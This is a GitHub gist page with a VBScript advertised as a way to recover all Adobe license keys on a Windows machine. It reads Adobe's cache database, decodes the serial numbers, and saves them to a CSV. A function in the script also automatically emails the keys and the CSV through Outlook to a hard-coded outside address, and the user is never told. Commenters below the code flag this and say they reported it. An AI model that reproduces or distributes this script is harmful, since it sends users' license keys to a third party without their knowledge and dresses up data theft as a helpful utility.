Skip to content

Instantly share code, notes, and snippets.

@wpsmith

wpsmith/adobe-licenses.vbs

Last active Feb 15, 2017
Embed
What would you like to do?
VBS: Get All Adobe License Keys
'Modified by Travis Smith (wpsmith.net) to fetch all Adobe licenses.
'Written by Ryan Williams (ryan@ryadical.com), I am not a programmer so please excuse the messy code
'Now to give credit where credit is due:
'Cipher code converted from Sam Gleske's javascript found at: http://www.pages.drexel.edu/~sag47/adobe/
'His code was Converted from the source for "Enchanted Keyfinder"
'original algorithm by Dave Hope (http://www.davehope.co.uk)
'To run this program make sure that sqlite3.exe is in the same folder as this vbs file.
'SQLITE3 source and binaries can be found at www.sqlite.org
'Variable Declarations
Dim objFSO, objShell, objEM
Dim strCacheFile, strCurrentDirectory, strCommand, strSQLlite, strLine, strAdobeEncryptedKey, strAdobeKey, strFile
Dim arrTemp1, arrTemp2
Dim csvFile
'Objects: FileSystem & Shell
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("WScript.Shell")
Set objNetwork = CreateObject("Wscript.Network")
'Adobe Cache DB File
strCacheFile = "C:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db"
strCacheFile = FindCacheFile(strCacheFile)
'Set Curret Directory
strCurrentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
'Location of SQLite
strSQLlite = "C:\Users\dth8hxg\Documents\_programs\sqlite3.exe"
'Command: Get Product Name & Key
strCommand = strSQLlite & " " & Chr(34) & strCacheFile & Chr(34) & " " & chr(34) & "SELECT subDomain,value FROM domain_data WHERE key='SN' OR key='EncryptedSerial';" & chr(34)
'Command: Get Key Only
'strCommand = strCurrentDirectory & "sqlite3.exe " & Chr(34) & strCacheFile & Chr(34) & " " & chr(34) & "select value from domain_data where key='SN';" & chr(34)
'Msgbox(strCommand)
Set objOutput = objShell.Exec (strCommand)
'Prep CSV file
strFile = "C:\Users\"+objNetwork.UserName+"\Desktop\AdobeKeys.csv"
Set csvFile = CreateCSV(strFile)
'Prep output text
strOutput = ""
Do While Not objOutput.StdOut.AtEndOfStream
'Read line
strLine = objOutput.StdOut.Readline
'Get Product
arrTemp1 = Split(strLine,"{|}")
strProduct = arrTemp1(0)
'wscript.echo "Product: " & product
'Get Encrypted Key
REM If (arrTemp1 Is Nothing) Then
REM If (IsNull(arrTemp1)) Then
REM If UBound(arrTemp1) Then
If IsArray(arrTemp1) Then
If UBound(arrTemp1) >= 0 Then
Msgbox("Not Empty")
arrTemp2 = Split(arrTemp1(1),"|")
Else
Msgbox("Empty")
arrTemp2 = Split(strLine,"|")
End If
Else
Msgbox("---Empty")
End If
strAdobeEncryptedKey = arrTemp2(1)
strAdobeKey = DecodeAdobeKey(strAdobeEncryptedKey)
'Store in string
strOutput = strOutput & strLine & vbCrLf
'Write to CSV
csvFile.WriteLine strLine
'Output to screen
wscript.echo "Your Adobe " & strProduct & " License Key is: " & strAdobeKey
Loop
'wscript.echo strOutput
csvFile.Close
'Email File
Set objEM = EmailAdobeKey(strOutput,strFile)
'Delete files
If objFSO.FileExists(csvFile) Then
objFSO.DeleteFile(csvFile)
End If
Function IsArrayDimmed(arr)
IsArrayDimmed = False
If IsArray(arr) Then
On Error Resume Next
Dim ub : ub = UBound(arr)
If (Err.Number = 0) And (ub >= 0) Then IsArrayDimmed = True
End If
End Function
Function EmailAdobeKey(strText, strFile)
Set objSysInfo = CreateObject("ADSystemInfo")
Set objOutlookApp = CreateObject("Outlook.Application")
Set objMailItem = objOutlookApp.CreateItem(olMailItem)
'comment the next line If you do Not want to see the outlook window
objMailItem.Display
objMailItem.Recipients.Add "travis.smith@ups.com"
objMailItem.Subject = "Adobe Licenses"
objMailItem.Body = "Hello," & vbCrLf & "Attached are my Adobe License Keys: " & strText & vbCrLf & "Thanks," & vbCrLf & objSysInfo.UserName
objMailItem.Attachments.Add strFile
objMailItem.Send
Set objSysInfo = Nothing
Set objOutlookApp = Nothing
Set objMailItem = Nothing
Set EmailAdobeKey = Nothing
Msgbox "Completed!",vbokonly,"Done"
End Function
Function CreateCSV(sFile)
Set objFile = CreateObject("Scripting.FileSystemObject")
Set CreateCSV = objFile.CreateTextFile(sFile)
End Function
Function DecodeAdobeKey(strAdobeEncryptedKey)
Dim AdobeCipher(24)
Dim strAdobeDecryptedKey
AdobeCipher(0) = "0000000001"
AdobeCipher(1) = "5038647192"
AdobeCipher(2) = "1456053789"
AdobeCipher(3) = "2604371895"
AdobeCipher(4) = "4753896210"
AdobeCipher(5) = "8145962073"
AdobeCipher(6) = "0319728564"
AdobeCipher(7) = "7901235846"
AdobeCipher(8) = "7901235846"
AdobeCipher(9) = "0319728564"
AdobeCipher(10) = "8145962073"
AdobeCipher(11) = "4753896210"
AdobeCipher(12) = "2604371895"
AdobeCipher(13) = "1426053789"
AdobeCipher(14) = "5038647192"
AdobeCipher(15) = "3267408951"
AdobeCipher(16) = "5038647192"
AdobeCipher(17) = "2604371895"
AdobeCipher(18) = "8145962073"
AdobeCipher(19) = "7901235846"
AdobeCipher(20) = "3267408951"
AdobeCipher(21) = "1426053789"
AdobeCipher(22) = "4753896210"
AdobeCipher(23) = "0319728564"
'decode the adobe key
for i = 0 To 23
if (i Mod 4 = 0 And i > 0) Then
'every 4 characters add a "-"
strAdobeDecryptedKey = strAdobeDecryptedKey & "-"
end if
'Grab the next number from the adobe encrypted key. Add one to 'i' because it isn't base 0
j = mid (strAdobeEncryptedKey, i + 1, 1)
'Add one to J because it isn't base 0 and grab that numbers position in the cipher
k = mid (AdobeCipher(i), j + 1, 1)
strAdobeDecryptedKey = strAdobeDecryptedKey & k
Next
DecodeAdobeKey = strAdobeDecryptedKey
End Function
Function FindCacheFile(CacheFile)
If (Not CacheFile = "") And (objFSO.FileExists(CacheFile)) Then
FindCacheFile = CacheFile
ElseIf objFSO.FileExists("c:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db") Then
FindCacheFile = "c:\Program Files (x86)\Common Files\Adobe\Adobe PCD\cache\cache.db"
ElseIf objFSO.FileExists("c:\Program Files\Common Files\Adobe\Adobe PCD\cache\cache.db") Then
FindCacheFile = "c:\Program Files\Common Files\Adobe\Adobe PCD\cache\cache.db"
Else
wscript.echo "Can't find the cache.db file"
wscript.quit
End IF
End Function
@netwired

This comment has been minimized.

Copy link

@netwired netwired commented Jun 2, 2015

Nice script... However I would remove the part where who ever runs this script will send you their Adobe keys....

@ExLiberMortis

This comment has been minimized.

Copy link

@ExLiberMortis ExLiberMortis commented Aug 10, 2015

Yeaaah, I'm with netwired. Reported.

@imtiazwazir

This comment has been minimized.

Copy link

@imtiazwazir imtiazwazir commented Nov 16, 2016

Reported

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.